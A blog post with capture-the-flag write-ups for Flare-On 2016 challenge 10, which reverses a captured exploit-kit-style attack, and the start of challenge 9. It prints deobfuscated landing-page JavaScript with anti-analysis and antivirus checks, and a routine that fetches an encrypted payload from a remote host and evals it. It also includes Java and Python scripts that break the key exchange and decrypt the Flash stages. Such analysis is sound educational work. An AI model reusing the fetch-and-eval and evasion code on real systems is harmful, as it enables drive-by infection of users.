Friday, 4 November 2016

CTF Writeup - Flare-On 2016 - 10: flava


  • Name - flava
  • Category - Reverse Engineering
  • Points - 10
  • Description - n/a
  • Binary - Download here


The final Flare-on challenge was very long and tedious compared to the previous 9 put together. For a change we get a massive pcap rather than a binary file. The stream we're interested is 233, so set the filter to tcp.stream == 233. The communication is between 10.2.2.149 and 10.14.56.20 and the stream starts in the following way:


    GET / HTTP/1.1
    Accept: text/html, application/xhtml+xml, image/jxr, */*
    Referer: http://10.11.106.81:18089/flareon_found_in_milpitas.html
    Accept-Language: en-US,en;q=0.5
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
    Accept-Encoding: gzip, deflate
    Host: 10.14.56.20:18089
    DNT: 1
    Connection: Keep-Alive
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    Date: Thu, 08 Sep 2016 23:42:05 GMT
    Connection: keep-alive
    Transfer-Encoding: chunked
    
    10d73
    <!DOCTYPE html>
    <html>
    <head>



The stream contains the following request/response pairs:
  1. GET request ('/') with a response containing an obfuscated landing page
  2. POST request ('/i_knew_you_were_trouble ') containing a base64 string with a response containing another base64 string
  3. GET request ('/will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh') with a response containing a Flash file
Extract the html landing page and the SWF file. We'll start off with the landing page first.

Part I: The Landing Page


The landing page looks something like this in IE:


Remove all the debugger; statements from the javascript and beautify the script. Do not remove any html content though as some of it is referenced form the javascript. If we run it, we don't get anything; not even errors. This is because the final part of the script is contained in a try-catch block:

    try {
        if (FiAwn == 1) {
            var U7weQ = new Function(i9mk);
            U7weQ();
            FiAwn = 2
        } 
        else {
            var O0fdFD = new Function(i9mk);
            O0fdFD(i9mk)
        }
    } catch (lol) {}

Removing the try-catch block, we get SyntaxError: Illegal character. The function Function() expects correct javascript to execute it. The script contains 3 validation routines which, if any of them fails, it produces the wrong output which is not javascript. The first check is the following (I've cleaned up the javascript):

    try {
        if (UytFdye['ScriptEngineBuildVersion']() === 545) {
            utaNfs = 0;
        } else {
            utaNfs = 2;
        }
    } catch (e) {
        utaNfs = 4;
    }
    LiZAqJ = utaNfs;


This ScriptEngineBuildVersion function will only work in IE. If Firefox or Chrome is used, we end up in the catch statement. We require LiZAqJ to be 0; let's change the code to force this. The second change we have to preform is in this section:

    if (ruHGNbQNzSlh && (!ruHGNbQNzSlh['out' + 'er' + HGLsdfij] || ruHGNbQNzSlh[u9Zdsjl] < (35144 ^ 35912))) {
        DM7w7I = 1;
    } 
    else {
        var IhUgy = new Date();
        DM7w7I = (IhUgy - JKhURsf > 100) ? 3 : 0
    }

The variable DM7w7I has to be set to 0. And the last validation routine compares today's date with the 9th of September 2016:

    function UIgvkFSsu() {
        //oiHqEd = 9th of September 2016
        //JKhURsf = today's date
        if (JKhURsf < oiHqEd) {
            return true;
        } 
        else {
            return false;
        }
    }

We require our date to be smaller than the fixed date so the function returns true. As it's a bit of a hassle to travel to the past, we'll settle with modifying the code to always return true. Instead of calling the new javascript, we would like to get a copy of it, so modify Function(i9mk) to read document.write(i9mk) (putting it between pre statement might help), open the page and copy the printed javascript into a new file for further analysis.

I have provided a copy of the 2nd javascript layer for reference and just in case anyone would like a copy:

function k() {
    String['prototype']['kek'] = function(a, b, c, d) {
        var e = '';
        a = unescape(a);
        for (var f = 0; f < a['length']; f++) {
            var g = b ^ a['charCodeAt'](f);
            e += String['fromCharCode'](g);
            b = (b * c + d) & 0xFF;
        }
        return e;
    }, String['prototype']['' ['kek']('%0B%5Ei', 108, 41, 237)] = function() {
        return '' ['kek']('%C96%E4B%3Ei_%83n%C1%82%FB%DC%01%EAA+o', 175, 129, 43);
    }, String['prototype']['' ['kek']('6%87%24', 94, 13, 297)] = function() {
        return '' ['kek']('4%94%0D%86%7BVXJ%AD%1C%87%0E%FE%C0%DA%D2%20%82%01%ACWAJd%B6%06%8D/', 92, 33, 31);
    };

    try {
        m();
        var a = l();
        var b = Function(a);
        b();
    } catch (zzzzz) {}
}

try {
    k();
} catch (z) {}

function m() {
    String['prototype']['lol'] = String['prototype']['>_<'] = String['prototype']['o3o'] = String['prototype']['>_O'] = String['prototype']['-Q-'] = String['prototype']['Orz'] = String['prototype']['^_^'] = String['prototype']['OGC'] = String['prototype']['O_o'] = String['prototype']['-,-'] = String['prototype']['kek'];
    window.fvOWbauMcjLj = window.fvOWbauMcjLs = window.fvOWbauMcjLf1 = window.fvOWbauMcjLf2 = '' ['-Q-'];

    window.gFVaUK = false;
    window.LAAOEpH = false;
    window['rghv3ee'] = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    window['wdns9Ie'] = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/=';
    window['UoqK1Yl'] = window['wdns9Ie'];
}


function j() {
    var blah;
    var a = navigator,
        b = 0;
    if (a[window.fvOWbauMcjLj('u%B2%C7%D1%85b%03%89%FC', 0, 33, 193)][window.fvOWbauMcjLf2('xV%BBc%D5%9B%1D', 17, 129, 167)](window.fvOWbauMcjLs('%CC%E5%22%E5', 129, 129, 181)) == -1 && a[window.fvOWbauMcjLf1('Q%85%BE%5DYC%89%8E%E7%C3', 48, 5, 5)][window.fvOWbauMcjLs('%EF%CD%F4%28%A2x%02', 134, 17, 189)](window.fvOWbauMcjLj('%D67%7D%7B3%07%BC%8C', 130, 5, 187)) == -1) {
        window.gFVaUK = true;
    }
    var c = window.fvOWbauMcjLj('%F3%C2M%F9%E1%5D%F9%FE%29%95%9F%C4J.P', 184, 17, 107) + window.fvOWbauMcjLf2('t%B4%C3%CF%8F%60%1F%85%E7%28', 0, 33, 193) + window.fvOWbauMcjLs('r%A5%F2%CF%B1b%0F%89%A6%03K%5D-%FE%8D%1Dy%A1%C6%F2%A4%7C', 0, 33, 193);

    var d = c,
        e = c + window.fvOWbauMcjLf1('%3F%09', 17, 129, 167),
        f = c + window.fvOWbauMcjLj('%AF%824%95%0A%BA%11E', 129, 129, 181);

    try {
        blah = new ActiveXObject(d);
    } catch (w) {
        blah = false;
        try {
            blah = new ActiveXObject(e);
        } catch (w) {
            blah = false;
            try {
                blah = new ActiveXObject(f);
            } catch (w) {
                blah = false;
            }
        }
    }
    if (blah) {
        window.LAAOEpH = true;
    }

    if (!window.gFVaUK && !window.LAAOEpH) {
        window['UoqK1Yl'] = window['rghv3ee'];
    } else {
        window['UoqK1Yl'] = window['wdns9Ie'];
    }
}

function l() {
    j();
    var a = "dmFyIElsMUliID0gTWF0aCwgSWwxSWMgPSBTdHJpbmcsIElsMUlJbGwxYSA9IEpTT04sIElsMUlJbGwxYiA9IFhNTEh0dHBSZXF1ZXN0Owp2YXIgSWwxSWUgPSAnJ1snbG9sJ10oJzklRTQ0JUJDJTFBcCcsIDkwLCA5LCA5NyksCiBJbDFJZiA9ICcnWyc+XzwnXSgnJUQwJTk0JTE4RiVBNSVDMCcsIDE2MiwgNSwgMTk5KSwKIElsMUlnID0gJydbJ09HQyddKCclQjclNUJ5NCVCNiVCNHcnLCAxOTksIDMzLCAxNDcpLAogSWwxSWggPSAnJ1snLVEtJ10oJyVCN2olMTYlOUUlMDQlODglRTQlM0VqJywgMTk5LCAxNywgMjI1KSwKIElsMUkgPSAnJ1snPl9PJ10oJyVEQiVGQ3klN0QlRTEnLCAxNjgsIDEyOSwgMjQ3KSwKIElsMUlpID0gJydbJ28zbyddKCclQzRKJTEzc0klRjclM0QnLCAxNzMsIDUsIDE5NSksCiBJbDFJaiA9ICcnWydPcnonXSgnJUQ2JUU0elAlMjAlRUMnLCAxODEsIDksIDQ3KSwKIElsMUlrID0gJydbJ09yeiddKCdGJTkyJTFDJUQ1JURGJTAyJywgNTIsIDY1LCAxOTEpLAogSWwxSWwgPSAnJ1snXl9eJ10oJyUzRXElMDElRjQlQzdHJUZCJUI3JUYzNCVBMiU5NCcsIDg4LCA2NSwgMTcxKSwKIElsMUltID0gJydbJ15fXiddKCclREZ1JTVDX2MnLCAxOTAsIDMzLCAxMzUpLAogSWwxSW4gPSAnJ1snbG9s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XcgYzsKIGVbSWwxSWJic2JdKElsMUliYnNwLCB4LmdXLCAhSWwxSWJic3QpOwogZVtJbDFJYmJzYV0oeC5Zdyx4LmRjKQogZVtJbDFJYmJzYV0oeC5LSixkW0lsMUluXSk7CiBlW0lsMUliYnNkXSA9IGZ1bmN0aW9uKCkgewogaWYgKGVbSWwxSWJic2VdPT09KElsMUliYnNjW0lsMUluXSkmJmVbSWwxSWJic2ZdPT09KDE1ODMyXjE1NjMyKSkKIHsKIHZhciBkID0gYltJbDFJYmJzaF0odygnJyBbJycgWydsb2wnXSgnJTBBYUgnLCA5OCwgMTcsIDEzNSldKCksIHooSWwxSWJic2ooZVtJbDFJYmJza10pKSkpOwogdmFyIGYgPSBJbDFJbGxsMUkxbC5JbDFJdTsKIHZhciBnID0gbmV3IGYoZC5CLCAxNik7CiB2YXIgaCA9IGcuSWwxSVgoYS5pYywgYS5oYSk7CiB2YXIgaiA9IHcoaC50b1N0cmluZygxNiksIGQuZmZmZmYpOwogaWYgKHUgPCAxKSB7IGV2YWwoaik7fQogfQogfTsKIGlmICghdi5NaSAmJiAhdi5wQSAmJiAhdi5DQSl7CiBlW0lsMUliYnNjXShkKTsKIH0KIH0gY2F0Y2goZikge307Cn0KCmZ1bmN0aW9uIElsMUlsYSgpIHsKIHRyeSB7CiBJbDFJemEoKTsKIH0gY2F0Y2ggKElsMUlOYSkge307Cn07Cgp0cnkgewogSWwxSWxhKCk7Cn0gY2F0Y2gobWVoKSB7fTs=",
        b, g, f, e, c, d = 0,
        h = '',
        x = window['UoqK1Yl'];

    do
        b = x.indexOf(a.charAt(d++)),
        g = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        e = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        c = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        f = b << 18 | g << 12 | e << 6 | c,

        b = f >> 16 & 255,
        g = f >> 8 & 255,
        f &= 255,

        h = 64 == e ? h + String.fromCharCode(b) : 64 == c ? h + String.fromCharCode(b, g) : h + String.fromCharCode(b, g, f);
    while (d < a.length);

    return h;
}

The aim here is similar to the previous layer's. Function(a) (line 20) is called to invoke the next layer of javascript; we need to make sure variable 'a' contains proper javascript.

The checks are much simpler here and happen between lines 73 - 77. We want window.gFVaUK and window.LAAOEpH to both be false so we can satisfy the condition. The latter depends on lines 54 - 71 where it tries to load Kaspersky as an ActiveXObject and if it doesn't find it, it fails, leaving window.LAAOEpH set to false as we want. The first check succeeds if we run the script in Internet Explorer. Bypass them by modifying the code or just run the page in IE and we get to the third layer.

Layer3 references a few objects from layer2 and hence we need to copy them over. These are lines 2-15 and line 30. Once this is done we can discard layer2 and focus solely on this layer. I'll only be pasting the relevant parts for layer3 as it's over 1000 lines of code. If we run file we notice that it performs an XMLHttpRequest to the following URL:
  • http://10.14.56.20:18089/i_knew_you_were_trouble
and contains a base64 string which changes every time a new request is made. This request is also present in the pcap we started with the following base64 string:

ErZVpc7xaW3bf0h8ythQz62wRdQlMpg3nTEKPYsyE9OtxAU4fCbwYg8zfbxlTnLb3BpLkcSSeuiskPQoEeyrEdZts9jKxSRiiYlr0Q/PDPhri78Sm4vTsUx/ascx7lt0EEvP5YsvQTjW2QvS1+3dyk7x8c8QlQ==

The goal is to understand how the requests are encrypted and get the original content. The following is the function in layer3 which encrypts the request, performs an XMLHttpRequest and decrypts the response:

Il1Iza = function() {
    var a = new Il1Iya();
    var b = Il1IIll1a, c = Il1IIll1b;
    var w = Il1Iv, y = Il1IZ, z = Il1IY, x = new Il1Isa(), v = new Il1Iwa(), u = Il1Iqa();
    
    try {
        var d = {
            g: a.L[Il1Io](Il1Ibbsi * 8),
            A: a.Jb[Il1Io]((' ' [Il1Ip](0)) / Il1Ibbsi),
            p: a.ha[Il1Io]((('2' [Il1Ip](0)) - 2) / 3),
        };
        //base64_encode ( RC4 (flareon_is_so_cute, [request] ) )
        d = y(w('' ['' ['OGC']('V%E5%3C', 49, 9, 201)](), b[Il1Ibbsg](d)));
        var e = new c;
        //initializes XMLHttpRequest('POST','http://10.14.56.20:18089/i_knew_you_were_trouble', true)
        e[Il1Ibbsb](Il1Ibbsp, x.gW, !Il1Ibbst);
        //sets header to json
        e[Il1Ibbsa](x.Yw, x.dc)
        //sets content length header
        e[Il1Ibbsa](x.KJ, d[Il1In]);
        //onreadystatechange handler
        e[Il1Ibbsd] = function() {
            //if readystate == send.length & status == 200
            if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
                // RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
                var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
                var f = Il1Illl1I1l.Il1Iu;
                //Diffie-Hellman stuff to get decryption key using B (d.B)
                var g = new f(d.B, 16);
                var h = g.Il1IX(a.ic, a.ha); 
                //decrypt contents (d.fffff) using Diffie-Hellman
                var j = w(h.toString(16), d.fffff);
                if (u < 1) {
                    //evaluate decrypted contents
                    eval(j);
                }
            }
        };
        if (!v.Mi && !v.pA && !v.CA) {
            //send XMLHttpRequest
            e[Il1Ibbsc](d);
        }
    } catch (f) {};
}

On line 13, the request is RC4 encrypted using the key 'flareon_is_so_cute' and the result is base64'd. If we reverse the process we get the contents of our base64 string found in the pcap:
{
    "g":"91a812d65f3fea132099f2825312edbb",
    "A":"16f2c65920ebeae43aabb5c9af923953",
    "p":"3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e"
} 

For those of you who are malware analysts and have suffered due to Angler's implementation of the Diffie-Hellman to encrypt shellcode delivery, these variables should trigger off all sorts of alarms. The only missing parameter to get hold of the private key is B, which is generated by the server and hence we need to look at the response present in the pcap. We decrypt the response in the same way we did for the request but this time using the key 'how_can_you_not_like_flareon':
{
    "B":"3101c01f6b522602ae415d5df764587b",
    "fffff": "<loads of garbage>"
}

Let's take a small break and check what we've got. We have parameters g, A, p, B and the DH-encrypted payload fffff. Thanks to the research at SecureList, this is all we need to crack the Diffie-Hellman and obtain the private key. The research can be found here. To make use of the java program at the bottom we need to calculate φ(p) and it's expansion into prime factors:

     p   = 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e
         = 77413500198989862721437805355107761214

 => φ(p) = 38532794441885460791256898927871100000
         =  2^5 * 3^4 * 5^5 * 7 * 37 * 61 * 73 * 113 * 389 * 4651 * 20175236914405679

 =>  q   =  {32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L }


Wolfram Alpha and CryptoTool can be used to help out with the computations. We now plug in all the constants into the java program:
import java.math.BigInteger;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import java.util.TreeMap;
import java.util.Vector;


public class DH_breaker {
    
    static BigInteger p = new BigInteger("3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e", 16);
    static BigInteger psi = new BigInteger("38532794441885460791256898927871100000");
    static BigInteger g = new BigInteger("91a812d65f3fea132099f2825312edbb", 16).mod(p);
    static BigInteger A = new BigInteger("16f2c65920ebeae43aabb5c9af923953", 16);    
    static BigInteger B = new BigInteger("3101c01f6b522602ae415d5df764587b", 16);
    static long[] q = new long[]{32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L};


    static int q_len = q.length;
    static HashSet[] xi = new HashSet[q_len];
    static BigInteger ai[] = new BigInteger[q_len];
    static HashSet res = new HashSet();
    
    static void rec(int ind)
    {
        if (ind == q_len)
        {
            BigInteger x = BigInteger.ZERO;
            for(int i=0;i<q_len;i++)
            {
                BigInteger mn = new BigInteger(((Long)q[i]).toString());
                BigInteger M = psi.divide(mn);
                x = x.add(ai[i].multiply(M).multiply(M.modInverse(mn)));
            }
            res.add(B.modPow(x.mod(psi), p));
            return;
        }
        
        Iterator<Long> it = xi[ind].iterator();
        while(it.hasNext()){
            ai[ind] = new BigInteger(it.next().toString());
            rec(ind + 1);
        }      
    }
    
    public static void main(String[] args) {

        for(int i=0;i<q_len;i++)
        {
            xi[i] = new HashSet<Long>();
            long qi = q[i];
            int H = (int)Math.sqrt((double)qi) + 1;
                 
            BigInteger _a = g.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
            BigInteger _b = A.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
            
            BigInteger _c = _a.modPow(new BigInteger(((Integer)H).toString()), p);
            BigInteger _cp = _c;           
            int u_size = 1000000;
            
            boolean stop = false;
            for(int u_part = 1;u_part<=H && !stop;u_part+=u_size)
            {
                if (H > u_size) 
                {
                    System.out.print("[i] Processing ");
                    System.out.println(u_part);
                }
                TreeMap<BigInteger, Integer> table = new TreeMap<>();
                for(int u=u_part;u<=H && u<u_part + u_size;u++)
                {
                    table.put(_cp, u);
                    _cp = _cp.multiply(_c).mod(p);
                }
                BigInteger z = _b;
                for(int v=0;v<=H;v++)
                {
                    if (table.get(z) != null)
                    {
                        xi[i].add((((long)H)*table.get(z) - v) % qi);
                        stop = true;
                        break;
                    }
                    z = z.multiply(_a).mod(p);              
                }
                table.clear();
                System.gc();
            }
            System.out.println(xi[i].toString());
        } 
        rec(0);
        
        Iterator<BigInteger> it = res.iterator();
        while(it.hasNext()){
            System.out.println(it.next().toString(16));
        } 
    }
    
}

We compile and run it:

Command Prompt
C:\>javac DH_breaker.java Note: DH_breaker.java uses unchecked or unsafe operations. Note: Recompile with -Xlint:unchecked for details. C:\>java DH_breaker [3] [70] [2958] [5] [16] [12] [21] [32] [132] [2873] [i] Processing 1 [i] Processing 1000001 [i] Processing 2000001 [ .. snip .. ] [i] Processing 94000001 [13449667480594038] 24c9de545f04e923ac5ec3bcfe82711f C:\>

We now have the decryption key: 24c9de545f04e923ac5ec3bcfe82711f. The easiest way to apply this and decrypt the response from the pcap is to set Fiddler to autorespond with this request and apply the following alterations to the layer3 javascript:


 [ .. snip .. ]

 //onreadystatechange handler
 e[Il1Ibbsd] = function() {
     //if readystate == send.length & status == 200
     if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
         // RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
         var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
         var f = Il1Illl1I1l.Il1Iu;
         //Diffie-Hellman stuff to get decryption key using B (d.B)
         var g = new f(d.B, 16);
         var h = g.Il1IX(a.ic, a.ha); 
         // The key we obtained earlier
         priv_key = "24c9de545f04e923ac5ec3bcfe82711f";  
         //decrypt contents (d.fffff) using Diffie-Hellman
         //var j = w(h.toString(16), d.fffff);
         var j = w(priv_key, d.fffff);
         //if (u < 1) {
             //evaluate decrypted contents
             eval(j);
         //}
     }
 };

 [ .. snip .. ]

Running the page again we are greeted with 2 message boxes:


Nice!! We now have the key for the flash file: HEAPISMYHOME

Part II: The Flash File


The flash file expects a key to "keep going":


Hitting the Submit button displays a few message boxes that something has been unlocked but nothing else. Let's load it into JPEXS. The button handler basically runs the function d3cryp7AndL0ad() with the supplied key as the parameter. This function is displayed below.

    public function d3cryp7AndL0ad(param1:String) : void
    {
        var _loc2_:Loader = new Loader();
        var _loc3_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain,null);
        var _loc4_:Class = Run_challenge1;
        //RC4-ish ( binaryData, key )
        var _loc5_:ByteArray = pr0udB3lly(ByteArray(new _loc4_()),param1);
        var _loc6_:String = "1172ca0ede560b08d97b270400347ede";
        if(MD5.hashBytes(_loc5_) == _loc6_)
        {
            this.loaded = true;
            _loc2_.loadBytes(_loc5_);
        }
    }

This function is pretty straight forward too and the line we're interested in is line 7. The function pr0udB3lly() takes a bytearray and a string, appends the first 16 bytes of the bytearray to the input string, computes the MD5 hash of the concatenation and uses this as the key to RC4-decrypted the rest of the bytearray. The result is another flash file.

Load it into JPEXS and deobfuscate it using the P-code deobfuscation feature. This feature is pretty amazing, when it works that is.


Luckily for us it does work on this SWFSecure obfuscation. The part we need to focus on is the constructor of class §-_§. We notice that the function is loading some external parameters but we know for sure that the landing page does not pass any parameters to the flash file, and neither does the previous layer:


 [ .. snip .. ]

 //loads parameters
 var _loc1_:Object = this.root.loaderInfo.parameters;
 //uses loaded params
 if(_loc1_.flare == "On")
 {
     _loc2_ = new Loader();
     _loc3_ = new LoaderContext(false,this.root.loaderInfo.applicationDomain,null);
     this.§-_---_§ = new Array();
     this.§-__-_--§ = new ByteArray();
     //uses loaded params twice
     this.§-_-___-§ = _loc1_.x;
     this.§--___-_§ = _loc1_.y;

 [ .. snip .. ]


As we can see, 3 parameters should have been loaded from somewhere. If we take a look at the binaryData folder, something catches our eye:


The name suggests that there's some information on Imgur. As images on Imgur are referenced using 7 random characters we visit http://imgur.com/vnUziJP:


If we download the image we notice that the size of the image is equal to size of the Int3lIns1de_t3stImgurvnUziJP binary data; there's a high chance that this binary data is the encrypted version of the image. Also, the class §-_§ contains an RC4 encryption/decryption function. With a plaintext-ciphertext pair encrypted using RC4, we don't require a key to decrypt other messsages; the question is, which one of the binary data might contain something interesting?

If we look at the constructor again, we notice that all the binary data objects are being pushed into a ByteArray() object, but 2 of them are not. In fact they're just loaded without being used. One of them is the Int3lIns1de_t3stImgurvnUziJP binary data and the other is '31: --__-.-__--__'. Let's decrypt this one using the following:


 //Encrypted version of the image
 CT_in = open("CT.bin", 'rb')
 //The image itself
 PT_in = open("PT.png", 'rb')
 //The other binary data
 TBD_in = open("to_be_decrypted.bin", 'rb')
 // resultant file
 answer = open("result.bin",'wb')

 CT_contents = CT_in.read()
 PT_contents = PT_in.read()
 TBD_contents = TBD_in.read()

 //Compute ciphertext1 XOR plaintext1 = ciphertext2 XOR plaintext2
 CT_squared = [ chr(ord(a) ^ ord(b)) for a,b in zip(CT_contents,PT_contents)]
 //Compute ( ciphertext2 XOR plaintext2 ) XOR ciphertext2
 result = [chr(ord(a) ^ ord(b)) for a,b in zip(CT_squared,TBD_contents)]
 //write plaintext2
 answer.write(''.join(result))
 answer.close()


If we open the result.bin file we get:
 x: 1BR0K3NCRYPT0FTW 
 y: 47:14546,46:1617,35:239,... [ .. snip ..] ...,6:733,21:4,1:1418,40:1618

So finally we have the missing parameters. We now have to understand what's happening in the constructor of class §-_§, translate it into python and get the next flash file.

PS: If anyone knows of a way to dump the next SWF by inserting x and y in the current flash file and dumping the resultant SWF without coding the entire algorithm in python, please tell me how!!

The following is what this flash file does:
  1. Takes 50 of the 52 binary data blobs and pushes them into a single array, call this ARRAY
  2. Decrypts each element of ARRAY, i.e. each binary data, with 1BR0K3NCRYPT0FTW
    • Uses the algorithm described above where it appends the first 16 chars to the key, MD5 hashes it, and uses it to RC4 decrypt
  3. Splits parameter y by ',' and splits each of them by ':'
  4. For each of the coordinate (x,y) constructed in bullet point 3, get byte ARRAY[x][y]; concatenate them
  5. If the MD5 hash of the result is equal to 600aa47f484cbd43ecd37de5cf111b10, load it

We're only interested in bullet points 1 till 4. The following is the python implementation of these:


    import hashlib
    import base64
    import glob,os

    def KSA(key):
        keylength = len(key)
        S = range(256)
        j = 0
        for i in range(256):
            j = (j + S[i] + key[i % keylength]) % 256
            S[i], S[j] = S[j], S[i]  # swap
        return S

    def PRGA(S):
        i = 0
        j = 0
        while True:
            i = (i + 1) % 256
            j = (j + S[i]) % 256
            S[i], S[j] = S[j], S[i]  # swap
            K = S[(S[i] + S[j]) % 256]
            yield K

    def RC4(key):
        S = KSA(key)
        return PRGA(S)

    def convert_key(s):
        return [ord(c) for c in s] 

    if __name__ == '__main__':

        file_order = ["--_-__","---","---__-","-__-___","-_____-_",
                      "-___-___","--_--_","-_-__","---_","---_--",
                      "-----","-___-_-","-_______","-_-__-_","--__---",
                      "-____---","-___","-__-_-_","-___-","-_____-",
                      "-____-_","--_---","-_-__--","-__","-----_","-____-",
                      "--_--_-","--___-","----__","---__-_","---_---",
                      "-_--_--","-__--_-","-----_-","-__-","---__--",
                      "--__--","--_--__","-_-_","-_---","--_-__-",
                      "-_-_-_-","-_-____","---_-_","-__---","--_-_",
                      "-_--_-_","--_-___","-_--__-","-___-__"]

        map = "47:14546,46:1617,35:239,4:47,35:394,3:575,

               [ .. snip .. ]

              ,17:381,37:9021,31:676,33:15200,21:479,26:58,
              16:304,6:733,21:4,1:1418,40:1618"
 
 
        decrypted_files = []
 
 #decrypt files
 for file in file_order:
            f_in = open("binaryData\\" + file + ".bin", 'rb')
            f_contents = f_in.read()
  
            nonce = f_contents[:16]
            input =  "1BR0K3NCRYPT0FTW"
 
            m = hashlib.md5()
            m.update(input + nonce)
            key =  m.hexdigest()
 
            plaintext = f_contents[16:]
            key = convert_key(key)
            keystream = RC4(key)
  
            temp_result = []
            for c in plaintext:
                temp_result.append(chr(ord(c) ^ keystream.next()))
            decrypted_files.append(temp_result)
 
        merged_file = []
        rounds = map.split(',')
        for round in rounds:
            mapping = round.split(':')
            merged_file.append(decrypted_files[int(mapping[0])][int(mapping[1])])
  
        f_out = f_in = open("layer3.swf", 'wb')
        f_out.write(''.join(merged_file))
        f_out.close()

The script produces the 3rd, and last SWF file for the challenge. JPEXS struggles to decompile it and increasing the timeout does not help; it still fails:


We can still deobfuscate it though! The result is 1582 lines of Actionscript3. All we need to do here is trace the _loc2_ variable at the end of the function and we get the very well-deserved key:

angl3rcan7ev3nprim3@flare-on.com


PS: Work files for this challenge including scripts, each layer of javascript and flash files, etc: Download
key: i_really_R34LL7_h8_flava

CTF Writeup - Flare-On 2016 - 09: GUI


  • Name - GUI
  • Category - Reverse Engineering
  • Points - 9
  • Description - n/a
  • Binary - Download here


The binary is a C#.Net application. If we run it and hit the Start button:


Notice the message "Combine all 6 shares". This is the goal of the challenge and it will become clear what these shares are later. For now let's blindly follow the suggestion.

Open the binary with dnSpy and we're confronted with some horrible Confuser obfuscation. Before we deobfuscate it, notice the 1st share in the Assembly Explorer window:

  • Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64

Now we can debfuscate it using de4dot; unfortunately Unconfuser was refusing to deobfuscate the binary. To see the difference, the following is the obfuscated version of the button1_Click method:


private void button1_Click(object sender, EventArgs e)
{
    byte[] buf = Form1.ReadResource(<Module>.\u206F\u202C\u206B\u202E\u200F\u206E\u202E\u206B\u202D\u206D\u200F\u206F\u200F\u200F\u202B\u202C\u200E\u206B\u202C\u202A\u202E\u206D\u206C\u200E\u206C\u206E\u200B\u200F\u206F\u200E\u202A\u206F\u206C\u200B\u206B\u206A\u206B\u202C\u206B\u206E\u202E<string>(282000140u));
    byte[] buffer = this.decryptBuffer(buf);
    byte[] rawAssembly = util.DecompressBuffer(buffer);
    Assembly assembly = Assembly.Load(rawAssembly);
    Type type = assembly.GetType(<Module>.\u202C\u200C\u200F\u202E\u202A\u200E\u202A\u206D\u206F\u200D\u206C\u202C\u200C\u206D\u200C\u206D\u206E\u200E\u200C\u202C\u200F\u206C\u206C\u200D\u200E\u206C\u200D\u202D\u206A\u206E\u200D\u202A\u200B\u206D\u206B\u200D\u206A\u206B\u206E\u206F\u202E<string>(370292149u));
    MethodInfo method = type.GetMethod(<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(547307959u));
    bool flag = (bool)method.Invoke(null, new object[]
    {
        <Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(292816780u)
    });
    if (flag)
    {
        MessageBox.Show(<Module>.\u202D\u202A\u202E\u206C\u202B\u200F\u206B\u202A\u206C\u200D\u200D\u200C\u202B\u206F\u206F\u202C\u206F\u206E\u206D\u206C\u206D\u206F\u206D\u202B\u202C\u200C\u200E\u206B\u200E\u200D\u202C\u206C\u206B\u206E\u200C\u202D\u202E\u200C\u200C\u200C\u202E<string>(3452886671u));
        return;
    }
    MessageBox.Show(<Module>.\u206B\u206A\u200E\u202B\u200E\u202B\u202C\u200F\u202E\u202D\u202B\u200F\u206E\u202B\u206B\u202B\u202A\u206E\u206C\u202B\u202E\u206F\u202C\u200C\u200E\u206A\u202B\u202E\u202D\u200D\u202C\u206E\u202D\u206B\u206D\u206C\u202B\u202D\u206C\u206A\u202E<string>(458656109u));
}


The following is the unobfuscated version:

private void button1_Click(object sender, EventArgs e)
{
    byte[] buf = Form1.ReadResource(<Module>.smethod_4<string>(282000140u));
    byte[] buffer = this.decryptBuffer(buf);
    byte[] rawAssembly = util.DecompressBuffer(buffer);
    Assembly assembly = Assembly.Load(rawAssembly);
    Type type = assembly.GetType(<Module>.smethod_5<string>(370292149u));
    MethodInfo method = type.GetMethod(<Module>.smethod_2<string>(547307959u));
    if ((bool)method.Invoke(null, new object[]
    {
        <Module>.smethod_2<string>(292816780u)
    }))
    {
        MessageBox.Show(<Module>.smethod_6<string>(3452886671u));
        return;
    }
    MessageBox.Show(<Module>.smethod_3<string>(458656109u));
}


